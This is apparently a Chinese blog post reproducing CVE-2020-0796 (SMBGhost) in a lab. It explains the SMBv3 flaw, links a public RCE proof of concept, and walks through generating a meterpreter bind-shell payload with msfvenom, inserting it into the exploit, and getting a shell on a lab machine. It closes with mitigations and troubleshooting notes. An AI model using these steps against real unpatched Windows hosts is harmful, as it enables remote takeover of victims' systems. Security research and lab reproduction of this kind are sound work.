CVE-2020-0796(永恒之黑)漏洞复现利用getshell

CVE-2020-0796(永恒之黑)漏洞复现

漏洞描述:

SMB远程代码执行漏洞

SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

漏洞原理:

Microsoft服务器消息块(SMB)协议是Microsoft Windows中使用的一项Microsoft网络文件共享协议。在大部分windows系统中都是默认开启的,用于在计算机间共享文件、打印机等。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

影响范围:

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

参考文章:

https://www.cnblogs.com/xiaoxiaosen/p/13056272.html

getshell:

一、复现环境

二、漏洞检测

  1. 在靶机里下载检测工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

  2. 运行工具,检测到漏洞风险

三、漏洞利用

POC下载:https://github.com/chompie1337/SMBGhost_RCE_PoC

  1. 在kali中生成木马

    msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b '\x00' -i 1 -f python
    
    #-p windows/x64/meterpreter/bind_tcp 设置payload为windows64位meterpreter控制台下的正向连接
    #LPORT=6666 设置开发端口为6666
    #-b '\x00' 设置在生成的程序中避免出现'\x00'
    #-i 1 设置编码次数为一次
    #-f python 设置生成python格式文件
    
  2. 用生成的shellcode将POC文件里exploit.py中的一部分替换掉,直接复制粘贴,将buf替换成USER_PAYLOAD保存(我这个图是之前失败的图,成功后忘记截了,就当作是设置的6666端口)

  3. 开启msf监听

    msfconsole
    use exploit/multi/handler
    set payload windows/x64/meterpreter/bind_tcp
    set lport 6666
    set rhost 192.168.245.136
    run
    

  4. 将POC放入kali里,运行POC,getshell,倒数第二步时,点击回车就好了

    python3 exploit.py -ip 192.168.245.136
    

  5. 返回监听界面,可以看到监听成功,getshell

漏洞加固:

  1. 更新补丁

  2. 微软给出了临时的应对办法:
    运行regedit.exe,打开注册表编辑器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一个名为DisableCompression的DWORD,值为1,禁止SMB的压缩功能。

  3. 将SMB445通信端口进行封禁

心得:

  getshell的时候出了很多问题,比如说一蓝屏win10就更新修复漏洞,关闭自动更新,重装系统都试了试还是没法,只能靠快照恢复;一次出现了physical read primitive failed的情况,发现是漏洞修复的原因;有很多次运行POC后,win10蓝屏了但是并没有监听到,后来突然发现生成木马时设置的端口和之后监听的端口不一致,修改好了就可以了;然后还有说POC脚本不稳定要多试几次的问题。

posted @ 2020-06-09 22:21  yoyodan  阅读(1999)  评论(0编辑  收藏